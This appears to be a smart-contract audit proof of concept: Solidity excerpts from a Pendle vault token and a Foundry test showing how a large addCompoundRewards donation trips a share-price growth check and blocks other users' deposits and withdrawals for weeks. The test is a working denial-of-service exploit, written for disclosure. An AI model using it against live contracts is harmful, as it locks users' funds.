function _validateSharePriceGrowth(
    uint256 _sharePriceNow
)
    private
    view
{
    uint256 timeDifference = block.timestamp
        - INITIAL_TIME_STAMP;

    uint256 maximum = timeDifference
        * RESTRICTION_FACTOR
        + PRECISION_FACTOR_E18;

    if (_sharePriceNow > maximum) {
        revert InvalidSharePriceGrowth();
    }
}
function addCompoundRewards(
    uint256 _amount
)
    external
    syncSupply
{
    if (_amount == 0) {
        revert ZeroAmount();
    }

    totalLpAssetsToDistribute += _amount;

    if (msg.sender == PENDLE_POWER_FARM_CONTROLLER) {
        return;
    }

    _safeTransferFrom(
        UNDERLYING_PENDLE_MARKET,
        msg.sender,
        PENDLE_POWER_FARM_CONTROLLER,
        _amount
    );
}
modifier syncSupply()
{
    _triggerIndexUpdate();
    _overWriteCheck();
    _syncSupply();
    _updateRewards();
    _setLastInteraction();
    _increaseCardinalityNext();
    uint256 sharePriceBefore = _getSharePrice();
    _;
    _validateSharePriceGrowth(
        _validateSharePrice(
            sharePriceBefore
        )
    );
}
 function testDOSVault() public normalSetup(true) {
    (IERC20 tokenReceived, uint256 balanceReceived) =
        _getTokensToPlayWith(CRVUSD_PENDLE_28MAR_2024, crvUsdMar2024LP_WHALE);

    (uint256 depositAmount, IPendlePowerFarmToken derivativeToken) =
        _prepareDeposit(CRVUSD_PENDLE_28MAR_2024, tokenReceived, balanceReceived);

    address alice = makeAddr("alice");
    address bob = makeAddr("bob");
    address charlie = makeAddr("charlie");

    IERC20 pendleLpToken = IERC20(CRVUSD_PENDLE_28MAR_2024);

    pendleLpToken.transfer(alice, 1.3e18);
    pendleLpToken.transfer(bob, 2e18);
    pendleLpToken.transfer(charlie, 1e18);

    vm.startPrank(alice);
    pendleLpToken.approve(address(derivativeToken), 1.3e18);
    derivativeToken.depositExactAmount(1.3e18);
    vm.stopPrank();

    vm.startPrank(bob);
    pendleLpToken.approve(address(derivativeToken), 2e18);
    derivativeToken.addCompoundRewards(2e18);
    vm.stopPrank();

    // DOS happens once timestamp changes
    vm.warp(block.timestamp + 1 seconds);

    // Charlie cannot deposit
    vm.startPrank(charlie);
    pendleLpToken.approve(address(derivativeToken), 1e18);
    vm.expectRevert(); // InvalidSharePriceGrowth
    derivativeToken.depositExactAmount(1 ether);
    vm.stopPrank();

    // Alice cannot withdraw
    vm.startPrank(alice);
    vm.expectRevert(); // InvalidSharePriceGrowth
    derivativeToken.withdrawExactShares(1e18);
    vm.stopPrank();

    // After 8 weeks, transactions still fail since _sharePriceNow is still greater than maximum (look at PendlePowerFarmToken::__validateSharePriceGrowth())
    vm.warp(block.timestamp + 8 weeks);

    // Alice still cannot withdraw
    vm.startPrank(alice);
    vm.expectRevert(); // InvalidSharePriceGrowth
    derivativeToken.withdrawExactShares(1e18);
    vm.stopPrank();

    // From this point onwards, maximum > _sharePriceNow
    vm.warp(block.timestamp + 9 weeks);

    // Charlie can now deposit
    vm.startPrank(charlie);
    pendleLpToken.approve(address(derivativeToken), 1e18);
    derivativeToken.depositExactAmount(1 ether);
    vm.stopPrank();

    // Alice can now deposit
    vm.startPrank(alice);
    derivativeToken.withdrawExactShares(1e18);
    vm.stopPrank();
}
